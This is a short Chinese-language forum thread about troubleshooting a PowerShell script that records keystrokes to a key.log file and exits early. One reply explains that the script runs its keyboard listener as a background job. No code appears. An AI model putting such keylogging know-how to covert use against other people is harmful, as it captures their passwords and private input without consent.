我是这么执行的：
PS C:\Users\hemi\Desktop> .\Get-TimedOperationRecord -LogPath c:\users\hemi\desktop\key.log
执行完也不报错，但是就是不产生key.log;感觉程序退出了。这是为什么？求各位大神帮忙？

这么多code，没有时间看啊，建议查看：PowerShell使用Hook（钩子）全局监听Windows按键事件，这个是我测试通过的。

replied 9 年 ago 我试了你的代码，没有问题；但是我还是不清楚我的为什么一下子就退出？我是直接将代码保存成Get-TimedOperationRecord.ps1文件，然后以管理员权限在ps下执行:.\Get-TimedOperationRecord.ps1 c:\key.log我感觉我的代码都没有错啊，不知道为什么直接就退出啦。结果总是直接退出，如下：PS C:\users\hemi\desktop> .\Get-TimedOperationRecord.ps1 -LogPath c:\key.logPS C:\users\hemi\desktop> .\Get-TimedOperationRecord.ps1 -LogPath key.logPS C:\users\hemi\desktop>求大神帮忙！
Mooser Lee要仔细看他的code，争取把每一行都读懂，老付（付海军）写的code用的是start-job，类似于重新开启了一个后台进程来运行监听，所以不会block当前函数。而我上面给的例子运行后就会block当前powershell控制台。
